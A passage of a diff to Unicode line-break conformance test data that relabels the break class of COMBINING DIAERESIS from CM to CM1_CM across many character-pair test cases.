+× 2024 × 0308 ÷ 50005 ÷ # × [0.3] ONE DOT LEADER (IN) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] <reserved-50005> (XX_AL) ÷ [0.3]
+× 2024 × 0308 × 0020 ÷ 50005 ÷ # × [0.3] ONE DOT LEADER (IN) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] <reserved-50005> (XX_AL) ÷ [0.3]
× 2024 ÷ 0E01 ÷ # × [0.3] ONE DOT LEADER (IN) ÷ [999.0] THAI CHARACTER KO KAI (SA_AL) ÷ [0.3]
× 2024 × 0020 ÷ 0E01 ÷ # × [0.3] ONE DOT LEADER (IN) × [7.01] SPACE (SP) ÷ [18.0] THAI CHARACTER KO KAI (SA_AL) ÷ [0.3]
-× 2024 × 0308 ÷ 0E01 ÷ # × [0.3] ONE DOT LEADER (IN) × [9.0] COMBINING DIAERESIS (CM) ÷ [999.0] THAI CHARACTER KO KAI (SA_AL) ÷ [0.3]
-× 2024 × 0308 × 0020 ÷ 0E01 ÷ # × [0.3] ONE DOT LEADER (IN) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] THAI CHARACTER KO KAI (SA_AL) ÷ [0.3]
+× 2024 × 0308 ÷ 0E01 ÷ # × [0.3] ONE DOT LEADER (IN) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] THAI CHARACTER KO KAI (SA_AL) ÷ [0.3]
+× 2024 × 0308 × 0020 ÷ 0E01 ÷ # × [0.3] ONE DOT LEADER (IN) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] THAI CHARACTER KO KAI (SA_AL) ÷ [0.3]
× 2024 × 3041 ÷ # × [0.3] ONE DOT LEADER (IN) × [21.03] HIRAGANA LETTER SMALL A (CJ_NS) ÷ [0.3]
× 2024 × 0020 ÷ 3041 ÷ # × [0.3] ONE DOT LEADER (IN) × [7.01] SPACE (SP) ÷ [18.0] HIRAGANA LETTER SMALL A (CJ_NS) ÷ [0.3]
-× 2024 × 0308 × 3041 ÷ # × [0.3] ONE DOT LEADER (IN) × [9.0] COMBINING DIAERESIS (CM) × [21.03] HIRAGANA LETTER SMALL A (CJ_NS) ÷ [0.3]
-× 2024 × 0308 × 0020 ÷ 3041 ÷ # × [0.3] ONE DOT LEADER (IN) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] HIRAGANA LETTER SMALL A (CJ_NS) ÷ [0.3]
+× 2024 × 0308 × 3041 ÷ # × [0.3] ONE DOT LEADER (IN) × [9.0] COMBINING DIAERESIS (CM1_CM) × [21.03] HIRAGANA LETTER SMALL A (CJ_NS) ÷ [0.3]
+× 2024 × 0308 × 0020 ÷ 3041 ÷ # × [0.3] ONE DOT LEADER (IN) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] HIRAGANA LETTER SMALL A (CJ_NS) ÷ [0.3]
× 002C × 0023 ÷ # × [0.3] COMMA (IS) × [29.0] NUMBER SIGN (AL) ÷ [0.3]
× 002C × 0020 ÷ 0023 ÷ # × [0.3] COMMA (IS) × [7.01] SPACE (SP) ÷ [18.0] NUMBER SIGN (AL) ÷ [0.3]
-× 002C × 0308 × 0023 ÷ # × [0.3] COMMA (IS) × [9.0] COMBINING DIAERESIS (CM) × [29.0] NUMBER SIGN (AL) ÷ [0.3]
-× 002C × 0308 × 0020 ÷ 0023 ÷ # × [0.3] COMMA (IS) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] NUMBER SIGN (AL) ÷ [0.3]
+× 002C × 0308 × 0023 ÷ # × [0.3] COMMA (IS) × [9.0] COMBINING DIAERESIS (CM1_CM) × [29.0] NUMBER SIGN (AL) ÷ [0.3]
+× 002C × 0308 × 0020 ÷ 0023 ÷ # × [0.3] COMMA (IS) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] NUMBER SIGN (AL) ÷ [0.3]
× 002C ÷ 2014 ÷ # × [0.3] COMMA (IS) ÷ [999.0] EM DASH (B2) ÷ [0.3]
× 002C × 0020 ÷ 2014 ÷ # × [0.3] COMMA (IS) × [7.01] SPACE (SP) ÷ [18.0] EM DASH (B2) ÷ [0.3]
-× 002C × 0308 ÷ 2014 ÷ # × [0.3] COMMA (IS) × [9.0] COMBINING DIAERESIS (CM) ÷ [999.0] EM DASH (B2) ÷ [0.3]
-× 002C × 0308 × 0020 ÷ 2014 ÷ # × [0.3] COMMA (IS) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] EM DASH (B2) ÷ [0.3]
+× 002C × 0308 ÷ 2014 ÷ # × [0.3] COMMA (IS) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] EM DASH (B2) ÷ [0.3]
+× 002C × 0308 × 0020 ÷ 2014 ÷ # × [0.3] COMMA (IS) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] EM DASH (B2) ÷ [0.3]
× 002C × 0009 ÷ # × [0.3] COMMA (IS) × [21.01] <CHARACTER TABULATION> (BA) ÷ [0.3]
× 002C × 0020 ÷ 0009 ÷ # × [0.3] COMMA (IS) × [7.01] SPACE (SP) ÷ [18.0] <CHARACTER TABULATION> (BA) ÷ [0.3]
-× 002C × 0308 × 0009 ÷ # × [0.3] COMMA (IS) × [9.0] COMBINING DIAERESIS (CM) × [21.01] <CHARACTER TABULATION> (BA) ÷ [0.3]
-× 002C × 0308 × 0020 ÷ 0009 ÷ # × [0.3] COMMA (IS) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] <CHARACTER TABULATION> (BA) ÷ [0.3]
+× 002C × 0308 × 0009 ÷ # × [0.3] COMMA (IS) × [9.0] COMBINING DIAERESIS (CM1_CM) × [21.01] <CHARACTER TABULATION> (BA) ÷ [0.3]
+× 002C × 0308 × 0020 ÷ 0009 ÷ # × [0.3] COMMA (IS) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] <CHARACTER TABULATION> (BA) ÷ [0.3]
× 002C ÷ 00B4 ÷ # × [0.3] COMMA (IS) ÷ [999.0] ACUTE ACCENT (BB) ÷ [0.3]
× 002C × 0020 ÷ 00B4 ÷ # × [0.3] COMMA (IS) × [7.01] SPACE (SP) ÷ [18.0] ACUTE ACCENT (BB) ÷ [0.3]
-× 002C × 0308 ÷ 00B4 ÷ # × [0.3] COMMA (IS) × [9.0] COMBINING DIAERESIS (CM) ÷ [999.0] ACUTE ACCENT (BB) ÷ [0.3]
-× 002C × 0308 × 0020 ÷ 00B4 ÷ # × [0.3] COMMA (IS) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] ACUTE ACCENT (BB) ÷ [0.3]
+× 002C × 0308 ÷ 00B4 ÷ # × [0.3] COMMA (IS) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] ACUTE ACCENT (BB) ÷ [0.3]
+× 002C × 0308 × 0020 ÷ 00B4 ÷ # × [0.3] COMMA (IS) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] ACUTE ACCENT (BB) ÷ [0.3]
× 002C × 000B ÷ # × [0.3] COMMA (IS) × [6.0] <LINE TABULATION> (BK) ÷ [0.3]
× 002C × 0020 × 000B ÷ # × [0.3] COMMA (IS) × [7.01] SPACE (SP) × [6.0] <LINE TABULATION> (BK) ÷ [0.3]
-× 002C × 0308 × 000B ÷ # × [0.3] COMMA (IS) × [9.0] COMBINING DIAERESIS (CM) × [6.0] <LINE TABULATION> (BK) ÷ [0.3]
-× 002C × 0308 × 0020 × 000B ÷ # × [0.3] COMMA (IS) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [6.0] <LINE TABULATION> (BK) ÷ [0.3]
+× 002C × 0308 × 000B ÷ # × [0.3] COMMA (IS) × [9.0] COMBINING DIAERESIS (CM1_CM) × [6.0] <LINE TABULATION> (BK) ÷ [0.3]
+× 002C × 0308 × 0020 × 000B ÷ # × [0.3] COMMA (IS) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [6.0] <LINE TABULATION> (BK) ÷ [0.3]
× 002C ÷ FFFC ÷ # × [0.3] COMMA (IS) ÷ [20.01] OBJECT REPLACEMENT CHARACTER (CB) ÷ [0.3]
× 002C × 0020 ÷ FFFC ÷ # × [0.3] COMMA (IS) × [7.01] SPACE (SP) ÷ [18.0] OBJECT REPLACEMENT CHARACTER (CB) ÷ [0.3]
-× 002C × 0308 ÷ FFFC ÷ # × [0.3] COMMA (IS) × [9.0] COMBINING DIAERESIS (CM) ÷ [20.01] OBJECT REPLACEMENT CHARACTER (CB) ÷ [0.3]
-× 002C × 0308 × 0020 ÷ FFFC ÷ # × [0.3] COMMA (IS) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] OBJECT REPLACEMENT CHARACTER (CB) ÷ [0.3]
+× 002C × 0308 ÷ FFFC ÷ # × [0.3] COMMA (IS) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [20.01] OBJECT REPLACEMENT CHARACTER (CB) ÷ [0.3]
+× 002C × 0308 × 0020 ÷ FFFC ÷ # × [0.3] COMMA (IS) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] OBJECT REPLACEMENT CHARACTER (CB) ÷ [0.3]
× 002C × 007D ÷ # × [0.3] COMMA (IS) × [13.02] RIGHT CURLY BRACKET (CL) ÷ [0.3]
× 002C × 0020 × 007D ÷ # × [0.3] COMMA (IS) × [7.01] SPACE (SP) × [13.02] RIGHT CURLY BRACKET (CL) ÷ [0.3]
-× 002C × 0308 × 007D ÷ # × [0.3] COMMA (IS) × [9.0] COMBINING DIAERESIS (CM) × [13.03] RIGHT CURLY BRACKET (CL) ÷ [0.3]
-× 002C × 0308 × 0020 × 007D ÷ # × [0.3] COMMA (IS) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [13.02] RIGHT CURLY BRACKET (CL) ÷ [0.3]
+× 002C × 0308 × 007D ÷ # × [0.3] COMMA (IS) × [9.0] COMBINING DIAERESIS (CM1_CM) × [13.03] RIGHT CURLY BRACKET (CL) ÷ [0.3]
+× 002C × 0308 × 0020 × 007D ÷ # × [0.3] COMMA (IS) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [13.02] RIGHT CURLY BRACKET (CL) ÷ [0.3]
× 002C × 0029 ÷ # × [0.3] COMMA (IS) × [13.02] RIGHT PARENTHESIS (CP) ÷ [0.3]
× 002C × 0020 × 0029 ÷ # × [0.3] COMMA (IS) × [7.01] SPACE (SP) × [13.02] RIGHT PARENTHESIS (CP) ÷ [0.3]
-× 002C × 0308 × 0029 ÷ # × [0.3] COMMA (IS) × [9.0] COMBINING DIAERESIS (CM) × [13.03] RIGHT PARENTHESIS (CP) ÷ [0.3]
-× 002C × 0308 × 0020 × 0029 ÷ # × [0.3] COMMA (IS) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [13.02] RIGHT PARENTHESIS (CP) ÷ [0.3]
-× 002C × 0001 ÷ # × [0.3] COMMA (IS) × [9.0] <START OF HEADING> (CM) ÷ [0.3]
-× 002C × 0020 ÷ 0001 ÷ # × [0.3] COMMA (IS) × [7.01] SPACE (SP) ÷ [18.0] <START OF HEADING> (CM) ÷ [0.3]
-× 002C × 0308 × 0001 ÷ # × [0.3] COMMA (IS) × [9.0] COMBINING DIAERESIS (CM) × [9.0] <START OF HEADING> (CM) ÷ [0.3]
-× 002C × 0308 × 0020 ÷ 0001 ÷ # × [0.3] COMMA (IS) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] <START OF HEADING> (CM) ÷ [0.3]
+× 002C × 0308 × 0029 ÷ # × [0.3] COMMA (IS) × [9.0] COMBINING DIAERESIS (CM1_CM) × [13.03] RIGHT PARENTHESIS (CP) ÷ [0.3]
+× 002C × 0308 × 0020 × 0029 ÷ # × [0.3] COMMA (IS) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [13.02] RIGHT PARENTHESIS (CP) ÷ [0.3]
× 002C × 000D ÷ # × [0.3] COMMA (IS) × [6.0] <CARRIAGE RETURN (CR)> (CR) ÷ [0.3]
× 002C × 0020 × 000D ÷ # × [0.3] COMMA (IS) × [7.01] SPACE (SP) × [6.0] <CARRIAGE RETURN (CR)> (CR) ÷ [0.3]
-× 002C × 0308 × 000D ÷ # × [0.3] COMMA (IS) × [9.0] COMBINING DIAERESIS (CM) × [6.0] <CARRIAGE RETURN (CR)> (CR) ÷ [0.3]
-× 002C × 0308 × 0020 × 000D ÷ # × [0.3] COMMA (IS) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [6.0] <CARRIAGE RETURN (CR)> (CR) ÷ [0.3]
+× 002C × 0308 × 000D ÷ # × [0.3] COMMA (IS) × [9.0] COMBINING DIAERESIS (CM1_CM) × [6.0] <CARRIAGE RETURN (CR)> (CR) ÷ [0.3]
+× 002C × 0308 × 0020 × 000D ÷ # × [0.3] COMMA (IS) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [6.0] <CARRIAGE RETURN (CR)> (CR) ÷ [0.3]
× 002C × 0021 ÷ # × [0.3] COMMA (IS) × [13.01] EXCLAMATION MARK (EX) ÷ [0.3]
× 002C × 0020 × 0021 ÷ # × [0.3] COMMA (IS) × [7.01] SPACE (SP) × [13.01] EXCLAMATION MARK (EX) ÷ [0.3]
-× 002C × 0308 × 0021 ÷ # × [0.3] COMMA (IS) × [9.0] COMBINING DIAERESIS (CM) × [13.01] EXCLAMATION MARK (EX) ÷ [0.3]
-× 002C × 0308 × 0020 × 0021 ÷ # × [0.3] COMMA (IS) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [13.01] EXCLAMATION MARK (EX) ÷ [0.3]
+× 002C × 0308 × 0021 ÷ # × [0.3] COMMA (IS) × [9.0] COMBINING DIAERESIS (CM1_CM) × [13.01] EXCLAMATION MARK (EX) ÷ [0.3]
+× 002C × 0308 × 0020 × 0021 ÷ # × [0.3] COMMA (IS) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [13.01] EXCLAMATION MARK (EX) ÷ [0.3]
× 002C × 00A0 ÷ # × [0.3] COMMA (IS) × [12.1] NO-BREAK SPACE (GL) ÷ [0.3]
× 002C × 0020 ÷ 00A0 ÷ # × [0.3] COMMA (IS) × [7.01] SPACE (SP) ÷ [18.0] NO-BREAK SPACE (GL) ÷ [0.3]
-× 002C × 0308 × 00A0 ÷ # × [0.3] COMMA (IS) × [9.0] COMBINING DIAERESIS (CM) × [12.2] NO-BREAK SPACE (GL) ÷ [0.3]
-× 002C × 0308 × 0020 ÷ 00A0 ÷ # × [0.3] COMMA (IS) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] NO-BREAK SPACE (GL) ÷ [0.3]
+× 002C × 0308 × 00A0 ÷ # × [0.3] COMMA (IS) × [9.0] COMBINING DIAERESIS (CM1_CM) × [12.2] NO-BREAK SPACE (GL) ÷ [0.3]
+× 002C × 0308 × 0020 ÷ 00A0 ÷ # × [0.3] COMMA (IS) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] NO-BREAK SPACE (GL) ÷ [0.3]
× 002C ÷ AC00 ÷ # × [0.3] COMMA (IS) ÷ [999.0] HANGUL SYLLABLE GA (H2) ÷ [0.3]
× 002C × 0020 ÷ AC00 ÷ # × [0.3] COMMA (IS) × [7.01] SPACE (SP) ÷ [18.0] HANGUL SYLLABLE GA (H2) ÷ [0.3]
-× 002C × 0308 ÷ AC00 ÷ # × [0.3] COMMA (IS) × [9.0] COMBINING DIAERESIS (CM) ÷ [999.0] HANGUL SYLLABLE GA (H2) ÷ [0.3]
-× 002C × 0308 × 0020 ÷ AC00 ÷ # × [0.3] COMMA (IS) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] HANGUL SYLLABLE GA (H2) ÷ [0.3]
+× 002C × 0308 ÷ AC00 ÷ # × [0.3] COMMA (IS) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] HANGUL SYLLABLE GA (H2) ÷ [0.3]
+× 002C × 0308 × 0020 ÷ AC00 ÷ # × [0.3] COMMA (IS) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] HANGUL SYLLABLE GA (H2) ÷ [0.3]
× 002C ÷ AC01 ÷ # × [0.3] COMMA (IS) ÷ [999.0] HANGUL SYLLABLE GAG (H3) ÷ [0.3]
× 002C × 0020 ÷ AC01 ÷ # × [0.3] COMMA (IS) × [7.01] SPACE (SP) ÷ [18.0] HANGUL SYLLABLE GAG (H3) ÷ [0.3]
-× 002C × 0308 ÷ AC01 ÷ # × [0.3] COMMA (IS) × [9.0] COMBINING DIAERESIS (CM) ÷ [999.0] HANGUL SYLLABLE GAG (H3) ÷ [0.3]
-× 002C × 0308 × 0020 ÷ AC01 ÷ # × [0.3] COMMA (IS) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] HANGUL SYLLABLE GAG (H3) ÷ [0.3]
+× 002C × 0308 ÷ AC01 ÷ # × [0.3] COMMA (IS) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] HANGUL SYLLABLE GAG (H3) ÷ [0.3]
+× 002C × 0308 × 0020 ÷ AC01 ÷ # × [0.3] COMMA (IS) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] HANGUL SYLLABLE GAG (H3) ÷ [0.3]
× 002C × 05D0 ÷ # × [0.3] COMMA (IS) × [29.0] HEBREW LETTER ALEF (HL) ÷ [0.3]
× 002C × 0020 ÷ 05D0 ÷ # × [0.3] COMMA (IS) × [7.01] SPACE (SP) ÷ [18.0] HEBREW LETTER ALEF (HL) ÷ [0.3]
-× 002C × 0308 × 05D0 ÷ # × [0.3] COMMA (IS) × [9.0] COMBINING DIAERESIS (CM) × [29.0] HEBREW LETTER ALEF (HL) ÷ [0.3]
-× 002C × 0308 × 0020 ÷ 05D0 ÷ # × [0.3] COMMA (IS) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] HEBREW LETTER ALEF (HL) ÷ [0.3]
+× 002C × 0308 × 05D0 ÷ # × [0.3] COMMA (IS) × [9.0] COMBINING DIAERESIS (CM1_CM) × [29.0] HEBREW LETTER ALEF (HL) ÷ [0.3]
+× 002C × 0308 × 0020 ÷ 05D0 ÷ # × [0.3] COMMA (IS) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] HEBREW LETTER ALEF (HL) ÷ [0.3]
× 002C × 002D ÷ # × [0.3] COMMA (IS) × [21.02] HYPHEN-MINUS (HY) ÷ [0.3]
× 002C × 0020 ÷ 002D ÷ # × [0.3] COMMA (IS) × [7.01] SPACE (SP) ÷ [18.0] HYPHEN-MINUS (HY) ÷ [0.3]
-× 002C × 0308 × 002D ÷ # × [0.3] COMMA (IS) × [9.0] COMBINING DIAERESIS (CM) × [21.02] HYPHEN-MINUS (HY) ÷ [0.3]
-× 002C × 0308 × 0020 ÷ 002D ÷ # × [0.3] COMMA (IS) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] HYPHEN-MINUS (HY) ÷ [0.3]
+× 002C × 0308 × 002D ÷ # × [0.3] COMMA (IS) × [9.0] COMBINING DIAERESIS (CM1_CM) × [21.02] HYPHEN-MINUS (HY) ÷ [0.3]
+× 002C × 0308 × 0020 ÷ 002D ÷ # × [0.3] COMMA (IS) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] HYPHEN-MINUS (HY) ÷ [0.3]
× 002C ÷ 231A ÷ # × [0.3] COMMA (IS) ÷ [999.0] WATCH (ID) ÷ [0.3]
× 002C × 0020 ÷ 231A ÷ # × [0.3] COMMA (IS) × [7.01] SPACE (SP) ÷ [18.0] WATCH (ID) ÷ [0.3]
-× 002C × 0308 ÷ 231A ÷ # × [0.3] COMMA (IS) × [9.0] COMBINING DIAERESIS (CM) ÷ [999.0] WATCH (ID) ÷ [0.3]
-× 002C × 0308 × 0020 ÷ 231A ÷ # × [0.3] COMMA (IS) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] WATCH (ID) ÷ [0.3]
+× 002C × 0308 ÷ 231A ÷ # × [0.3] COMMA (IS) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] WATCH (ID) ÷ [0.3]
+× 002C × 0308 × 0020 ÷ 231A ÷ # × [0.3] COMMA (IS) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] WATCH (ID) ÷ [0.3]
× 002C ÷ 2024 ÷ # × [0.3] COMMA (IS) ÷ [999.0] ONE DOT LEADER (IN) ÷ [0.3]
× 002C × 0020 ÷ 2024 ÷ # × [0.3] COMMA (IS) × [7.01] SPACE (SP) ÷ [18.0] ONE DOT LEADER (IN) ÷ [0.3]
-× 002C × 0308 ÷ 2024 ÷ # × [0.3] COMMA (IS) × [9.0] COMBINING DIAERESIS (CM) ÷ [999.0] ONE DOT LEADER (IN) ÷ [0.3]
-× 002C × 0308 × 0020 ÷ 2024 ÷ # × [0.3] COMMA (IS) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] ONE DOT LEADER (IN) ÷ [0.3]
+× 002C × 0308 ÷ 2024 ÷ # × [0.3] COMMA (IS) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] ONE DOT LEADER (IN) ÷ [0.3]
+× 002C × 0308 × 0020 ÷ 2024 ÷ # × [0.3] COMMA (IS) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] ONE DOT LEADER (IN) ÷ [0.3]
× 002C × 002C ÷ # × [0.3] COMMA (IS) × [13.02] COMMA (IS) ÷ [0.3]
× 002C × 0020 × 002C ÷ # × [0.3] COMMA (IS) × [7.01] SPACE (SP) × [13.02] COMMA (IS) ÷ [0.3]
-× 002C × 0308 × 002C ÷ # × [0.3] COMMA (IS) × [9.0] COMBINING DIAERESIS (CM) × [13.03] COMMA (IS) ÷ [0.3]
-× 002C × 0308 × 0020 × 002C ÷ # × [0.3] COMMA (IS) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [13.02] COMMA (IS) ÷ [0.3]
+× 002C × 0308 × 002C ÷ # × [0.3] COMMA (IS) × [9.0] COMBINING DIAERESIS (CM1_CM) × [13.03] COMMA (IS) ÷ [0.3]
+× 002C × 0308 × 0020 × 002C ÷ # × [0.3] COMMA (IS) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [13.02] COMMA (IS) ÷ [0.3]
× 002C ÷ 1100 ÷ # × [0.3] COMMA (IS) ÷ [999.0] HANGUL CHOSEONG KIYEOK (JL) ÷ [0.3]
× 002C × 0020 ÷ 1100 ÷ # × [0.3] COMMA (IS) × [7.01] SPACE (SP) ÷ [18.0] HANGUL CHOSEONG KIYEOK (JL) ÷ [0.3]
-× 002C × 0308 ÷ 1100 ÷ # × [0.3] COMMA (IS) × [9.0] COMBINING DIAERESIS (CM) ÷ [999.0] HANGUL CHOSEONG KIYEOK (JL) ÷ [0.3]
-× 002C × 0308 × 0020 ÷ 1100 ÷ # × [0.3] COMMA (IS) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] HANGUL CHOSEONG KIYEOK (JL) ÷ [0.3]
+× 002C × 0308 ÷ 1100 ÷ # × [0.3] COMMA (IS) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] HANGUL CHOSEONG KIYEOK (JL) ÷ [0.3]
+× 002C × 0308 × 0020 ÷ 1100 ÷ # × [0.3] COMMA (IS) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] HANGUL CHOSEONG KIYEOK (JL) ÷ [0.3]
× 002C ÷ 11A8 ÷ # × [0.3] COMMA (IS) ÷ [999.0] HANGUL JONGSEONG KIYEOK (JT) ÷ [0.3]
× 002C × 0020 ÷ 11A8 ÷ # × [0.3] COMMA (IS) × [7.01] SPACE (SP) ÷ [18.0] HANGUL JONGSEONG KIYEOK (JT) ÷ [0.3]
-× 002C × 0308 ÷ 11A8 ÷ # × [0.3] COMMA (IS) × [9.0] COMBINING DIAERESIS (CM) ÷ [999.0] HANGUL JONGSEONG KIYEOK (JT) ÷ [0.3]
-× 002C × 0308 × 0020 ÷ 11A8 ÷ # × [0.3] COMMA (IS) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] HANGUL JONGSEONG KIYEOK (JT) ÷ [0.3]
+× 002C × 0308 ÷ 11A8 ÷ # × [0.3] COMMA (IS) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] HANGUL JONGSEONG KIYEOK (JT) ÷ [0.3]
+× 002C × 0308 × 0020 ÷ 11A8 ÷ # × [0.3] COMMA (IS) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] HANGUL JONGSEONG KIYEOK (JT) ÷ [0.3]
× 002C ÷ 1160 ÷ # × [0.3] COMMA (IS) ÷ [999.0] HANGUL JUNGSEONG FILLER (JV) ÷ [0.3]
× 002C × 0020 ÷ 1160 ÷ # × [0.3] COMMA (IS) × [7.01] SPACE (SP) ÷ [18.0] HANGUL JUNGSEONG FILLER (JV) ÷ [0.3]
-× 002C × 0308 ÷ 1160 ÷ # × [0.3] COMMA (IS) × [9.0] COMBINING DIAERESIS (CM) ÷ [999.0] HANGUL JUNGSEONG FILLER (JV) ÷ [0.3]
-× 002C × 0308 × 0020 ÷ 1160 ÷ # × [0.3] COMMA (IS) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] HANGUL JUNGSEONG FILLER (JV) ÷ [0.3]
+× 002C × 0308 ÷ 1160 ÷ # × [0.3] COMMA (IS) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] HANGUL JUNGSEONG FILLER (JV) ÷ [0.3]
+× 002C × 0308 × 0020 ÷ 1160 ÷ # × [0.3] COMMA (IS) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] HANGUL JUNGSEONG FILLER (JV) ÷ [0.3]
× 002C × 000A ÷ # × [0.3] COMMA (IS) × [6.0] <LINE FEED (LF)> (LF) ÷ [0.3]
× 002C × 0020 × 000A ÷ # × [0.3] COMMA (IS) × [7.01] SPACE (SP) × [6.0] <LINE FEED (LF)> (LF) ÷ [0.3]
-× 002C × 0308 × 000A ÷ # × [0.3] COMMA (IS) × [9.0] COMBINING DIAERESIS (CM) × [6.0] <LINE FEED (LF)> (LF) ÷ [0.3]
-× 002C × 0308 × 0020 × 000A ÷ # × [0.3] COMMA (IS) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [6.0] <LINE FEED (LF)> (LF) ÷ [0.3]
+× 002C × 0308 × 000A ÷ # × [0.3] COMMA (IS) × [9.0] COMBINING DIAERESIS (CM1_CM) × [6.0] <LINE FEED (LF)> (LF) ÷ [0.3]
+× 002C × 0308 × 0020 × 000A ÷ # × [0.3] COMMA (IS) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [6.0] <LINE FEED (LF)> (LF) ÷ [0.3]
× 002C × 0085 ÷ # × [0.3] COMMA (IS) × [6.0] <NEXT LINE (NEL)> (NL) ÷ [0.3]
× 002C × 0020 × 0085 ÷ # × [0.3] COMMA (IS) × [7.01] SPACE (SP) × [6.0] <NEXT LINE (NEL)> (NL) ÷ [0.3]
-× 002C × 0308 × 0085 ÷ # × [0.3] COMMA (IS) × [9.0] COMBINING DIAERESIS (CM) × [6.0] <NEXT LINE (NEL)> (NL) ÷ [0.3]
-× 002C × 0308 × 0020 × 0085 ÷ # × [0.3] COMMA (IS) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [6.0] <NEXT LINE (NEL)> (NL) ÷ [0.3]
+× 002C × 0308 × 0085 ÷ # × [0.3] COMMA (IS) × [9.0] COMBINING DIAERESIS (CM1_CM) × [6.0] <NEXT LINE (NEL)> (NL) ÷ [0.3]
+× 002C × 0308 × 0020 × 0085 ÷ # × [0.3] COMMA (IS) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [6.0] <NEXT LINE (NEL)> (NL) ÷ [0.3]
× 002C × 17D6 ÷ # × [0.3] COMMA (IS) × [21.03] KHMER SIGN CAMNUC PII KUUH (NS) ÷ [0.3]
× 002C × 0020 ÷ 17D6 ÷ # × [0.3] COMMA (IS) × [7.01] SPACE (SP) ÷ [18.0] KHMER SIGN CAMNUC PII KUUH (NS) ÷ [0.3]
-× 002C × 0308 × 17D6 ÷ # × [0.3] COMMA (IS) × [9.0] COMBINING DIAERESIS (CM) × [21.03] KHMER SIGN CAMNUC PII KUUH (NS) ÷ [0.3]
